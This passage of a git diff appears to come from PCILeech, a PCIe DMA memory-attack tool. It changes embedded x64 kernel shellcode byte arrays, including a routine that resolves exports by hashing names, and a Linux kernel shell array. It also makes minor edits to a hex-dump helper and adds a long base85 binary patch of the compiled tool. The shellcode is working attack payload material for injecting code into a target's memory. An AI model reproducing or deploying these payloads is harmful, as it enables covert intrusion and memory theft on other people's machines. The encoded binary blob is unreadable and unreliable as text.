0xf9, 0x45, 0x33, 0xc0, 0x45, - 0x85, 0xdb, 0x74, 0x2c, 0x45, 0x8b, 0x11, 0x4c, 0x03, 0xd1, 0x33, 0xdb, - 0xeb, 0x0b, 0x0f, 0xb6, 0xc0, 0x49, 0xff, 0xc2, 0xc1, 0xcb, 0x0d, 0x03, - 0xd8, 0x41, 0x8a, 0x02, 0x84, 0xc0, 0x75, 0xee, 0x3b, 0xdd, 0x74, 0x23, - 0x41, 0xff, 0xc0, 0x49, 0x83, 0xc1, 0x04, 0x45, 0x3b, 0xc3, 0x72, 0xd4, - 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x08, 0x48, 0x8b, 0x6c, 0x24, 0x10, - 0x48, 0x8b, 0x74, 0x24, 0x18, 0x48, 0x8b, 0x7c, 0x24, 0x20, 0xc3, 0x46, - 0x0f, 0xb7, 0x04, 0x46, 0x44, 0x3b, 0x42, 0x14, 0x73, 0xde, 0x42, 0x8b, - 0x04, 0x87, 0x48, 0x03, 0xc1, 0xeb, 0xd7, 0x00 + 0x89, 0x58, 0x08, 0x48, 0x89, 0x70, 0x10, 0x48, 0x89, 0x78, 0x18, 0x4c, + 0x89, 0x70, 0x20, 0x55, 0x48, 0x8d, 0x68, 0xa1, 0x48, 0x81, 0xec, 0x90, + 0x00, 0x00, 0x00, 0x4c, 0x8b, 0xf1, 0xc7, 0x45, 0xe7, 0x4a, 0x45, 0x3b, + 0xd7, 0xc7, 0x45, 0xeb, 0x62, 0xe0, 0x07, 0x37, 0x48, 0x8d, 0xba, 0xc8, + 0x00, 0x00, 0x00, 0xc7, 0x45, 0xef, 0x1f, 0x9d, 0x48, 0x9d, 0x48, 0x8d, + 0x75, 0x4b, 0xc7, 0x45, 0xf3, 0xa1, 0x7b, 0xcc, 0xdc, 0xbb, 0x19, 0x00, + 0x00, 0x00, 0xc7, 0x45, 0xf7, 0x92, 0x6d, 0x58, 0x58, 0xc7, 0x45, 0xfb, + 0xce, 0xad, 0x90, 0x4d, 0xc7, 0x45, 0xff, 0x57, 0x63, 0x32, 0x5a, 0xc7, + 0x45, 0x03, 0x8f, 0xb5, 0x6a, 0x6a, 0xc7, 0x45, 0x07, 0xf9, 0xbe, 0xdd, + 0x05, 0xc7, 0x45, 0x0b, 0xf7, 0x38, 0xb3, 0x9d, 0xc7, 0x45, 0x0f, 0xc9, + 0xc5, 0x6e, 0x6c, 0xc7, 0x45, 0x13, 0x89, 0x83, 0x6c, 0xeb, 0xc7, 0x45, + 0x17, 0x9b, 0x97, 0x64, 0xcf, 0xc7, 0x45, 0x1b, 0x2a, 0xc0, 0xb2, 0xa8, + 0xc7, 0x45, 0x1f, 0x3d, 0x28, 0xc3, 0x7c, 0xc7, 0x45, 0x23, 0x2a, 0xd0, + 0x35, 0x30, 0xc7, 0x45, 0x27, 0xdb, 0x4f, 0x3d, 0xc5, 0xc7, 0x45, 0x2b, + 0x61, 0x4c, 0x04, 0x5d, 0xc7, 0x45, 0x2f, 0x9d, 0x8f, 0xa0, 0xc3, 0xc7, + 0x45, 0x33, 0xb8, 0xd4, 0x29, 0x88, 0xc7, 0x45, 0x37, 0x50, 0x64, 0xb0, + 0x6f, 0xc7, 0x45, 0x3b, 0xe2, 0xca, 0x61, 0xe6, 0xc7, 0x45, 0x3f, 0xde, + 0x24, 0xe6, 0xf7, 0xc7, 0x45, 0x43, 0x16, 0x35, 0xfd, 0x87, 0xc7, 0x45, + 0x47, 0x36, 0x31, 0x0e, 0x68, 0x48, 0x8d, 0x76, 0xfc, 0x49, 0x8b, 0xce, + 0x8b, 0x16, 0x48, 0x8d, 0x7f, 0xf8, 0xe8, 0x25, 0x00, 0x00, 0x00, 0x48, + 0x89, 0x07, 0x83, 0xc3, 0xff, 0x75, 0xe6, 0x4c, 0x8d, 0x9c, 0x24, 0x90, + 0x00, 0x00, 0x00, 0x49, 0x8b, 0x5b, 0x10, 0x49, 0x8b, 0x73, 0x18, 0x49, + 0x8b, 0x7b, 0x20, 0x4d, 0x8b, 0x73, 0x28, 0x49, 0x8b, 0xe3, 0x5d, 0xc3, + 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, + 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x8b, 0xea, 0x48, 0x85, 0xc9, + 0x74, 0x7a, 0xb8, 0x4d, 0x5a, 0x00, 0x00, 0x66, 0x39, 0x01, 0x75, 0x70, + 0x48, 0x63, 0x41, 0x3c, 0x48, 0x03, 0xc1, 0x74, 0x67, 0x81, 0x38, 0x50, + 0x45, 0x00, 0x00, 0x75, 0x5f, 0x8b, 0x90, 0x88, 0x00, 0x00, 0x00, 0x48, + 0x03, 0xd1, 0x74, 0x54, 0x44, 0x8b, 0x5a, 0x18, 0x45, 0x85, 0xdb, 0x74, + 0x4b, 0x8b, 0x42, 0x20, 0x85, 0xc0, 0x74, 0x44, 0x8b, 0x72, 0x24, 0x4c, + 0x8d, 0x0c, 0x01, 0x8b, 0x7a, 0x1c, 0x48, 0x03, 0xf1, 0x48, 0x03, 0xf9, + 0x45, 0x33, 0xc0, 0x45, 0x85, 0xdb, 0x74, 0x2c, 0x45, 0x8b, 0x11, 0x4c, + 0x03, 0xd1, 0x33, 0xdb, 0xeb, 0x0b, 0x0f, 0xb6, 0xc0, 0x49, 0xff, 0xc2, + 0xc1, 0xcb, 0x0d, 0x03, 0xd8, 0x41, 0x8a, 0x02, 0x84, 0xc0, 0x75, 0xee, + 0x3b, 0xdd, 0x74, 0x23, 0x41, 0xff, 0xc0, 0x49, 0x83, 0xc1, 0x04, 0x45, + 0x3b, 0xc3, 0x72, 0xd4, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x08, 0x48, + 0x8b, 0x6c, 0x24, 0x10, 0x48, 0x8b, 0x74, 0x24, 0x18, 0x48, 0x8b, 0x7c, + 0x24, 0x20, 0xc3, 0x46, 0x0f, 0xb7, 0x04, 0x46, 0x44, 0x3b, 0x42, 0x14, + 0x73, 0xde, 0x42, 0x8b, 0x04, 0x87, 0x48, 0x03, 0xc1, 0xeb, 0xd7, 0x00 }; const BYTE LINUX_X64_VFS_KSH[] = { diff --git a/pcileech/tlp.c b/pcileech/tlp.c index 8258597..f573ccd 100644 --- a/pcileech/tlp.c +++ b/pcileech/tlp.c @@ -107,7 +107,7 @@ VOID TLP_Print(_In_ PBYTE pbTlp, _In_ DWORD cbTlp, _In_ BOOL isTx) ); } printf("\n"); - Util_PrintHexAscii(pbTlp, cbTlp); + Util_PrintHexAscii(pbTlp, cbTlp, 0); } BOOL TLP_CallbackMRd(_Inout_ PTLP_CALLBACK_BUF_MRd pBufferMRd, _In_ PBYTE pb, _In_ DWORD cb, _In_opt_ HANDLE hEventCompleted) diff --git a/pcileech/util.c b/pcileech/util.c index bf80b9b..f110612 100644 --- a/pcileech/util.c +++ b/pcileech/util.c @@ -664,14 +664,15 @@ VOID Util_WaitForPowerCycle(_Inout_ PPCILEECH_CONTEXT ctx) Util_WaitForPowerOn(ctx); } -VOID Util_PrintHexAscii(_In_ PBYTE pb, _In_ DWORD cb) +VOID Util_PrintHexAscii(_In_ PBYTE pb, _In_ DWORD cb, _In_ DWORD cbInitialOffset) { DWORD i, j; - if(cb > 8192) { - printf("Large output. Only displaying first 8192 bytes.\n"); - cb = 8192; + if(cb > 0x10000) { + printf("Large output. Only displaying first 65kB.\n"); + cb = 0x10000 - cbInitialOffset; } - for(i = 0; i < cb + ((cb % 16) ? (16 - cb % 16) : 0); i++) + cb += cbInitialOffset; + for(i = cbInitialOffset; i < cb + ((cb % 16) ? (16 - cb % 16) : 0); i++) { // address if(0 == i % 16) { diff --git a/pcileech/util.h b/pcileech/util.h index 4187ac2..24acc29 100644 --- a/pcileech/util.h +++ b/pcileech/util.h @@ -221,7 +221,8 @@ VOID Util_WaitForPowerOn(_Inout_ PPCILEECH_CONTEXT ctx); * Print a maximum of 8192 bytes of binary data as hexascii on the screen. * -- pb * -- cb +* -- cbInitialOffset = offset, must be max 0x1000 and multiple of 0x10. */ -VOID Util_PrintHexAscii(_In_ PBYTE pb, _In_ DWORD cb); +VOID Util_PrintHexAscii(_In_ PBYTE pb, _In_ DWORD cb, _In_ DWORD cbInitialOffset); #endif /* __UTIL_H__ */ diff --git a/pcileech_files/pcileech b/pcileech_files/pcileech index f616eef93e12404ba47729611bebbc713601ba64..a97a2193e5f38404ba25100ed3c4a589943d57f3 100644 GIT binary patch delta 41637 zcmbS!33yD`8~438s|Z;nL=wp)5<(;rdk_)~gCMrri&|=56SSohBAAY;aH<#8mhOwT zY3-`S*3hbkYKx+wmKo6s)i#uw@Asa2@8l-!zu)(K^E@-}Ilp%~`+K%KGey^H6)yKH z3~O4{NZ_vwg$UWtN@_?DGK3C7Eqq1`QER)d&79IgVQEwl3|v&ir#Ie#ofUpy=U9$w zw9tn~g)J;d3=2wEgi6yDq0)5LQG7BcGDv}I(urP*?nJg%91!!rQmF7yq$*f5X;j

ND$Dc<Iqyi1}+s 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 